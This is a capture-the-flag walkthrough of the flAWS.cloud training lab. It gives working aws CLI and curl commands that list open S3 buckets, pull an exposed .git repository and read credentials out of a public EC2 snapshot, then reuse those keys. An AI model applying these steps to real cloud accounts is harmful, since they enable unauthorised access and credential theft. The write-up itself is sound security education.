flAWS.cloud is an intentionally vulnerable AWS environment made by Scott Piper designed for educational purposes. According to the author "everything is run out of a single AWS account, and all challenges are sub-domains of flaws.cloud ". There are no vulnerabilities such as SQLi, XSS, etc but AWS misconfigurations and mistakes that we can abuse to solve the challenges.
We are prompted to find the first sub-domain by enumerating buckets.
Start with DNS enumeration on the domain name.
> host flaws.cloud
flaws.cloud has address 52.218.253.114
flaws.cloud has address 52.92.128.35
flaws.cloud has address 52.92.206.139
flaws.cloud has address 52.218.233.122
flaws.cloud has address 52.218.220.250
flaws.cloud has address 52.218.221.34
flaws.cloud has address 52.218.169.202
flaws.cloud has address 52.92.147.203
And with lookup on the discovered IP addresses. We find out the site is hosted in an AWS S3 bucket and the region is us-west-2
> for ip in $(host flaws.cloud | grep address | awk -F " " '{print $4}'); do nslookup $ip;done
59.240.92.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
Authoritative answers can be found from:
130.253.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
Authoritative answers can be found from:
187.248.92.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
Authoritative answers can be found from:
250.224.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
Authoritative answers can be found from:
139.212.92.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
Authoritative answers can be found from:
** server can't find 179.138.92.52.in-addr.arpa: NXDOMAIN
211.251.92.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
Authoritative answers can be found from:
34.252.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
Authoritative answers can be found from:
> curl -v flaws.cloud.s3-us-west-2.amazonaws.com
* Trying 52.92.145.82:80...
* Connected to flaws.cloud.s3-us-west-2.amazonaws.com (52.92.145.82) port 80 (#0)
> GET / HTTP/1.1
> Host: flaws.cloud.s3-us-west-2.amazonaws.com
> User-Agent: curl/7.85.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< x-amz-id-2: PxXyUjz3LLiKl3QjhS0x1uaXtfq1TXcU1g2cnGXsuJpnw9PxGA8rGWO29RAsB/jYY/hMIB2l4x8=
< x-amz-request-id: PW5T7Y5NBFFAJCQF
< Date: Sun, 02 Feb 2025 16:07:47 GMT
< x-amz-bucket-region: us-west-2
< Content-Type: application/xml
< Transfer-Encoding: chunked
< Server: AmazonS3
<
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>flaws.cloud</Name><Prefix></Prefix><Marker></Marker><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated><Contents><Key>hint1.html</Key><LastModified>2017-03-14T03:00:38.000Z</LastModified><ETag>"f32e6fbab70a118cf4e2dc03fd71c59d"</ETag><Size>2575</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>hint2.html</Key><LastModified>2017-03-03T04:05:17.000Z</LastModified><ETag>"565f14ec1dce259789eb919ead471ab9"</ETag><Size>1707</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>hint3.html</Key><LastModified>2017-03-03T04:05:11.000Z</LastModified><ETag>"ffe5dc34663f83aedaffa512bec04989"</ETag><Size>1101</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>index.html</Key><LastModified>2024-02-22T02:32:41.000Z</LastModified><ETag>"cf2618d97d3a311b9b1453a4d4e02930"</ETag><Size>2861</Size><StorageClass>STANDARD</Storag* Connection #0 to host flaws.cloud.s3-us-west-2.amazonaws.com left intact
eClass></Contents><Contents><Key>logo.png</Key><LastModified>2018-07-10T16:47:16.000Z</LastModified><ETag>"0623bdd28190d0583ef58379f94c2217"</ETag><Size>15979</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>robots.txt</Key><LastModified>2017-02-27T01:59:28.000Z</LastModified><ETag>"9e6836f2de6d6e6691c78a1902bf9156"</ETag><Size>46</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>secret-dd02c7c.html</Key><LastModified>2017-02-27T01:59:30.000Z</LastModified><ETag>"c5e83d744b4736664ac8375d4464ed4c"</ETag><Size>1051</Size><StorageClass>STANDARD</StorageClass></Contents></ListBucketResult>
The AWS CLI command expects the bucket name without the region suffix, and the region parameter in the --region flag.
In fact, the command also works without region parameter.
> aws s3 ls s3://flaws.cloud --no-sign-request
In this case, AWS is capable of detecting the bucket location even without explicitly specifying the region. This is because it attempts to locate the bucket across multiple regions. Specifying the region explicitly ensure a faster response.
Download the secret and get the URL for the next challenge.
After completing each challenge, the author provides a brief explanation of the vulnerable misconfiguration. In this case, the S3 bucket was configured to be accessible by everyone, therefore we were able to browse it without credentials.
Here, we are prompted to do basically the same as before but as an authenticated AWS user. Therefore, to solve this challenge you need an AWS account.
Configure your AWS profile with your account's AWS keys and browse the same bucket, there you find the secret containing the URL for the next challenge.
> aws s3 --profile <profile name here> cp s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html secret-e4443fc.html
The author explains that what was done was basically to change permissions from "Everyone" to "Any AWS authenticated user", which seems to be common. Ofter, people mistakenly think it refers to any user authenticated in their account; however, it refers to anyone that uses AWS.
Looks like there is a git repo, clone it with aws s3 sync
> aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/HEAD to .git/HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/description to .git/description
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/COMMIT_EDITMSG to .git/COMMIT_EDITMSG
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-rebase.sample to .git/hooks/pre-rebase.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/post-update.sample to .git/hooks/post-update.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-applypatch.sample to .git/hooks/pre-applypatch.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/config to .git/config
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-commit.sample to .git/hooks/pre-commit.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/applypatch-msg.sample to .git/hooks/applypatch-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/commit-msg.sample to .git/hooks/commit-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/prepare-commit-msg.sample to .git/hooks/prepare-commit-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/index to .git/index
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/update.sample to .git/hooks/update.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25 to .git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/logs/HEAD to .git/logs/HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/info/exclude to .git/info/exclude
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b to .git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c to .git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/logs/refs/heads/master to .git/logs/refs/heads/master
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df to .git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/c2/aab7e03933a858d1765090928dca4013fe2526 to .git/objects/c2/aab7e03933a858d1765090928dca4013fe2526
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2 to .git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 to .git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/f2/a144957997f15729d4491f251c3615d508b16a to .git/objects/f2/a144957997f15729d4491f251c3615d508b16a
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint2.html to ./hint2.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint1.html to ./hint1.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint4.html to ./hint4.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint3.html to ./hint3.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/robots.txt to ./robots.txt
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/index.html to ./index.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61 to .git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/refs/heads/master to .git/refs/heads/master
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/76/e4934c9de40e36f09b4e5538236551529f723c to .git/objects/76/e4934c9de40e36f09b4e5538236551529f723c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2 to .git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c to .git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/authenticated_users.png to ./authenticated_users.png
We are prompted to get access to a web page running on an EC2 instance. A hint is provided: a snapshot was made on the EC2 instance shortly after Nginx was set up and started.
Since we have disclosed AWS key before, let's take the opportunity to enumerate current user.
Next, we launch an EC2 instance in the us-west-2 region from our own account AWS dashboard. In the storage options, choose the volume you have just created and then start the instance.
Connect via SSH with your keys and mount the volume.
> sudo mount /dev/xvdb1 /mnt
Nginx settings are available at this location.
> cat /mnt/home/ubuntu/setupNginx.sh
This includes credentials that will allow you to unlock the next level.
In the lessons learned, the author reminds us to protect snapshots that contains secrets and credentials.
With the stolen access key, secret access key and token we create a profile by either manually editing the ~/.aws/credentials file or just using env variables.
In the lessons learned, the author mentions the IP 169.254.169.254 as an address to take into account in the cloud world, as it usually can be used to disclose services metadata.